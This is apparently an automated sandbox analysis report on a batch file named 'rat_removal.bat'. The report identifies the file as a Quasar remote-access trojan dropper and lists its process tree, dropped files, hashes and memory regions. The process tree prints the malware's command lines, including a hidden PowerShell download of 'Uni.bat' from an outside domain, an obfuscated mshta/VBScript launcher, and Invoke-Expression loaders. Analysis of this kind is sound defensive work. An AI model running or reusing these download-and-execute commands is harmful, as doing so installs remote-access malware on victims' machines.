Resubmissions

14/03/2024, 05:24

240314-f3wxmsdg73 10

14/03/2024, 05:13

240314-fwwcjabd6s 8

Analysis

  • max time kernel
    49s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2024, 05:24

General

  • Target

    rat_removal.bat

  • Size

    14KB

  • MD5

    2c0ee080298d0de1320e6e7eda4ca39b

  • SHA1

    edd03f96d4f4277a24e541376fdddf43439b4a99

  • SHA256

    7e81cadeef133c8230dbe26f95a66d3b47cead73ba1e37170ac95869abe17f8e

  • SHA512

    ffdfd43eb46107be849d3e1938d1db0be87d27700799a9f31527b512abaca615241c6ee2d6358061d5ea133233aa0edda9908091419c024977b25365064d9e64

  • SSDEEP

    192:HbKSAmk7b/FQASmmZrQCgljChA4DW0JyquFnpUoH:H28k7b/hkQCgljwAEbyvFpL

Score
10/10

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:680
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:968
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:432
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:528
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1084
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1092
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                  PID:1100
                  • C:\Windows\$sxr-mshta.exe
                    C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jKiXOIbCnNURqPPCCxgw4312:TlctmzlD=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:3484
                    • C:\Windows\$sxr-cmd.exe
                      "C:\Windows\$sxr-cmd.exe" /c %$sxr-jKiXOIbCnNURqPPCCxgw4312:TlctmzlD=%
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:436
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:YukCfVmozO; "
                        4⤵
                          PID:3516
                        • C:\Windows\$sxr-powershell.exe
                          C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                          4⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1432
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1208
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                        PID:1272
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1328
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1356
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1396
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1504
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1596
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1604
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1684
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1700
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                        1⤵
                                          PID:1760
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1788
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1872
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1960
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1972
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1556
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2080
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                      1⤵
                                                        PID:2096
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2200
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_removal.bat"
                                                          1⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:4104
                                                          • C:\Windows\system32\chcp.com
                                                            chcp.com 437
                                                            2⤵
                                                              PID:5052
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c type tmp
                                                              2⤵
                                                                PID:3196
                                                              • C:\Windows\system32\findstr.exe
                                                                findstr /L /I set C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
                                                                2⤵
                                                                  PID:4908
                                                                • C:\Windows\system32\findstr.exe
                                                                  findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
                                                                  2⤵
                                                                    PID:2092
                                                                  • C:\Windows\system32\findstr.exe
                                                                    findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
                                                                    2⤵
                                                                      PID:3360
                                                                    • C:\Windows\system32\findstr.exe
                                                                      findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\rat_removal.bat
                                                                      2⤵
                                                                        PID:2520
                                                                      • C:\Windows\system32\find.exe
                                                                        find
                                                                        2⤵
                                                                          PID:2060
                                                                        • C:\Windows\system32\find.exe
                                                                          find
                                                                          2⤵
                                                                            PID:1036
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c type tmp
                                                                            2⤵
                                                                              PID:1800
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://robloxplayerclient.org/Uni.bat' -OutFile: 'C:\Users\Admin\AppData\Local\Temp\Uni.bat'"
                                                                              2⤵
                                                                              • Blocklisted process makes network request
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1812
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
                                                                              2⤵
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:1280
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:OWMmhUSKSJ; "
                                                                                3⤵
                                                                                  PID:2660
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                                                                                  3⤵
                                                                                  • Drops file in Windows directory
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4504

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v15

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                    Filesize

                                                                                    2KB

                                                                                    MD5

                                                                                    2f57fde6b33e89a63cf0dfdd6e60a351

                                                                                    SHA1

                                                                                    445bf1b07223a04f8a159581a3d37d630273010f

                                                                                    SHA256

                                                                                    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                                                    SHA512

                                                                                    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                    Filesize

                                                                                    53KB

                                                                                    MD5

                                                                                    a26df49623eff12a70a93f649776dab7

                                                                                    SHA1

                                                                                    efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                    SHA256

                                                                                    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                    SHA512

                                                                                    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                    Filesize

                                                                                    1KB

                                                                                    MD5

                                                                                    a2b24af1492f112d2e53cb7415fda39f

                                                                                    SHA1

                                                                                    dbfcee57242a14b60997bd03379cc60198976d85

                                                                                    SHA256

                                                                                    fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

                                                                                    SHA512

                                                                                    9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

                                                                                  • C:\Users\Admin\AppData\Local\Temp\Uni.bat

                                                                                    Filesize

                                                                                    8.4MB

                                                                                    MD5

                                                                                    7a98c3b9846bfac750cb9ecb4c92e06e

                                                                                    SHA1

                                                                                    547f1300c41c50658c7ef4530de478992d6b4f5e

                                                                                    SHA256

                                                                                    63422f3ad2d7ede071a78fe768d32af2143d384ad469be3ce4495450e99518c3

                                                                                    SHA512

                                                                                    61394ba7135a42c8a7c224cc09811a6e29ec9e84ceaeaea6352021ccea251e93f96983b44cd8072d36915d3b2c52316804dd2e609afa108619fdf2139bd2e0ac

                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adp4imuo.w3c.ps1

                                                                                    Filesize

                                                                                    60B

                                                                                    MD5

                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                    SHA1

                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                    SHA256

                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                    SHA512

                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                  • C:\Users\Admin\AppData\Local\Temp\tmp

                                                                                    Filesize

                                                                                    14B

                                                                                    MD5

                                                                                    ce585c6ba32ac17652d2345118536f9c

                                                                                    SHA1

                                                                                    be0e41b3690c42e4c0cdb53d53fc544fb46b758d

                                                                                    SHA256

                                                                                    589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

                                                                                    SHA512

                                                                                    d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

                                                                                  • C:\Windows\$sxr-cmd.exe

                                                                                    Filesize

                                                                                    283KB

                                                                                    MD5

                                                                                    8a2122e8162dbef04694b9c3e0b6cdee

                                                                                    SHA1

                                                                                    f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                                                                                    SHA256

                                                                                    b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                                                                                    SHA512

                                                                                    99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                                                                                  • C:\Windows\$sxr-mshta.exe

                                                                                    Filesize

                                                                                    14KB

                                                                                    MD5

                                                                                    0b4340ed812dc82ce636c00fa5c9bef2

                                                                                    SHA1

                                                                                    51c97ebe601ef079b16bcd87af827b0be5283d96

                                                                                    SHA256

                                                                                    dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

                                                                                    SHA512

                                                                                    d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

                                                                                  • C:\Windows\$sxr-powershell.exe

                                                                                    Filesize

                                                                                    442KB

                                                                                    MD5

                                                                                    04029e121a0cfa5991749937dd22a1d9

                                                                                    SHA1

                                                                                    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                    SHA256

                                                                                    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                    SHA512

                                                                                    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                                                                  • memory/432-170-0x000001A828260000-0x000001A828289000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/432-159-0x000001A828260000-0x000001A828289000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/432-169-0x000001A828260000-0x000001A828289000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/432-168-0x00007FFCA5F30000-0x00007FFCA5F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/528-174-0x00000220445D0000-0x00000220445F9000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/680-126-0x000001C0EA800000-0x000001C0EA829000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/680-135-0x000001C0EA800000-0x000001C0EA829000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/680-136-0x000001C0EA800000-0x000001C0EA829000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/680-134-0x00007FFCA5F30000-0x00007FFCA5F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/680-139-0x00007FFCE5F4D000-0x00007FFCE5F4E000-memory.dmp

                                                                                    Filesize

                                                                                    4KB

                                                                                  • memory/680-125-0x000001C0EA800000-0x000001C0EA829000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/680-124-0x000001C0EA3B0000-0x000001C0EA3D3000-memory.dmp

                                                                                    Filesize

                                                                                    140KB

                                                                                  • memory/968-141-0x000001C66D7D0000-0x000001C66D7F9000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/968-151-0x00007FFCA5F30000-0x00007FFCA5F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/968-152-0x000001C66D7D0000-0x000001C66D7F9000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/968-155-0x00007FFCE5F4C000-0x00007FFCE5F4D000-memory.dmp

                                                                                    Filesize

                                                                                    4KB

                                                                                  • memory/968-154-0x000001C66D7D0000-0x000001C66D7F9000-memory.dmp

                                                                                    Filesize

                                                                                    164KB

                                                                                  • memory/1432-116-0x000002777BB70000-0x000002777BBB2000-memory.dmp

                                                                                    Filesize

                                                                                    264KB

                                                                                  • memory/1432-111-0x000002777BA10000-0x000002777BAC2000-memory.dmp

                                                                                    Filesize

                                                                                    712KB

                                                                                  • memory/1432-185-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-179-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-102-0x00007FFCE3FD0000-0x00007FFCE408E000-memory.dmp

                                                                                    Filesize

                                                                                    760KB

                                                                                  • memory/1432-101-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-100-0x0000027779E90000-0x000002777A578000-memory.dmp

                                                                                    Filesize

                                                                                    6.9MB

                                                                                  • memory/1432-99-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-160-0x0000027768F30000-0x0000027768F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1432-104-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-153-0x0000027768F30000-0x0000027768F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1432-149-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/1432-121-0x0000000180000000-0x0000000180007000-memory.dmp

                                                                                    Filesize

                                                                                    28KB

                                                                                  • memory/1432-117-0x0000027768F30000-0x0000027768F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1432-115-0x000002777BB00000-0x000002777BB6A000-memory.dmp

                                                                                    Filesize

                                                                                    424KB

                                                                                  • memory/1432-103-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1432-110-0x000002777B680000-0x000002777BA0C000-memory.dmp

                                                                                    Filesize

                                                                                    3.5MB

                                                                                  • memory/1432-109-0x000002777AED0000-0x000002777B67E000-memory.dmp

                                                                                    Filesize

                                                                                    7.7MB

                                                                                  • memory/1432-108-0x000002777A980000-0x000002777AECE000-memory.dmp

                                                                                    Filesize

                                                                                    5.3MB

                                                                                  • memory/1432-81-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/1432-83-0x0000027768F30000-0x0000027768F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1432-82-0x0000027768F30000-0x0000027768F40000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1432-107-0x0000027750D20000-0x0000027750D26000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/1432-106-0x0000027750CD0000-0x0000027750CD6000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/1432-105-0x0000027750BE0000-0x0000027750C02000-memory.dmp

                                                                                    Filesize

                                                                                    136KB

                                                                                  • memory/1432-97-0x00000277797E0000-0x0000027779E86000-memory.dmp

                                                                                    Filesize

                                                                                    6.6MB

                                                                                  • memory/1812-20-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/1812-16-0x00000215AB2D0000-0x00000215AB2E0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1812-15-0x00000215AB2D0000-0x00000215AB2E0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/1812-14-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/1812-5-0x0000021592E60000-0x0000021592E82000-memory.dmp

                                                                                    Filesize

                                                                                    136KB

                                                                                  • memory/4504-48-0x00000166DF490000-0x00000166DF4E8000-memory.dmp

                                                                                    Filesize

                                                                                    352KB

                                                                                  • memory/4504-39-0x0000016690AB0000-0x000001669159C000-memory.dmp

                                                                                    Filesize

                                                                                    10.9MB

                                                                                  • memory/4504-96-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-45-0x00000166C6E10000-0x00000166C6E32000-memory.dmp

                                                                                    Filesize

                                                                                    136KB

                                                                                  • memory/4504-46-0x00000166C6E30000-0x00000166C6E36000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/4504-47-0x00000166C6E40000-0x00000166C6E9E000-memory.dmp

                                                                                    Filesize

                                                                                    376KB

                                                                                  • memory/4504-50-0x00000166CF380000-0x00000166CF388000-memory.dmp

                                                                                    Filesize

                                                                                    32KB

                                                                                  • memory/4504-49-0x00000166AE8C0000-0x00000166AE8C6000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/4504-71-0x00007FFCC7558000-0x00007FFCC7559000-memory.dmp

                                                                                    Filesize

                                                                                    4KB

                                                                                  • memory/4504-113-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/4504-114-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-66-0x00000166C6C90000-0x00000166C6CA0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/4504-44-0x00000166FFBB0000-0x00000166FFCAC000-memory.dmp

                                                                                    Filesize

                                                                                    1008KB

                                                                                  • memory/4504-65-0x00000166C6C90000-0x00000166C6CA0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/4504-62-0x0000000180000000-0x0000000180007000-memory.dmp

                                                                                    Filesize

                                                                                    28KB

                                                                                  • memory/4504-43-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-42-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-41-0x00007FFCE3FD0000-0x00007FFCE408E000-memory.dmp

                                                                                    Filesize

                                                                                    760KB

                                                                                  • memory/4504-40-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-98-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-38-0x00007FFCE5EB0000-0x00007FFCE60A5000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/4504-37-0x0000016690000000-0x0000016690AAC000-memory.dmp

                                                                                    Filesize

                                                                                    10.7MB

                                                                                  • memory/4504-36-0x00000166C7240000-0x00000166C72B6000-memory.dmp

                                                                                    Filesize

                                                                                    472KB

                                                                                  • memory/4504-61-0x00000166915F0000-0x00000166915F8000-memory.dmp

                                                                                    Filesize

                                                                                    32KB

                                                                                  • memory/4504-35-0x00000166C71F0000-0x00000166C7234000-memory.dmp

                                                                                    Filesize

                                                                                    272KB

                                                                                  • memory/4504-59-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/4504-25-0x00000166C6C90000-0x00000166C6CA0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/4504-24-0x00000166C6C90000-0x00000166C6CA0000-memory.dmp

                                                                                    Filesize

                                                                                    64KB

                                                                                  • memory/4504-23-0x00007FFCC7DE0000-0x00007FFCC88A1000-memory.dmp

                                                                                    Filesize

                                                                                    10.8MB

                                                                                  • memory/4504-58-0x00007FF74DA30000-0x00007FF74DAA1000-memory.dmp

                                                                                    Filesize

                                                                                    452KB

                                                                                  • memory/4504-57-0x00000166923C0000-0x00000166923EE000-memory.dmp

                                                                                    Filesize

                                                                                    184KB

                                                                                  • memory/4504-56-0x0000016692360000-0x00000166923B8000-memory.dmp

                                                                                    Filesize

                                                                                    352KB

                                                                                  • memory/4504-55-0x0000016692320000-0x0000016692356000-memory.dmp

                                                                                    Filesize

                                                                                    216KB

                                                                                  • memory/4504-54-0x0000016692270000-0x0000016692322000-memory.dmp

                                                                                    Filesize

                                                                                    712KB

                                                                                  • memory/4504-53-0x0000016691640000-0x000001669226C000-memory.dmp

                                                                                    Filesize

                                                                                    12.2MB

                                                                                  • memory/4504-52-0x00000166915B0000-0x00000166915EE000-memory.dmp

                                                                                    Filesize

                                                                                    248KB

                                                                                  • memory/4504-51-0x00000166915A0000-0x00000166915A6000-memory.dmp

                                                                                    Filesize

                                                                                    24KB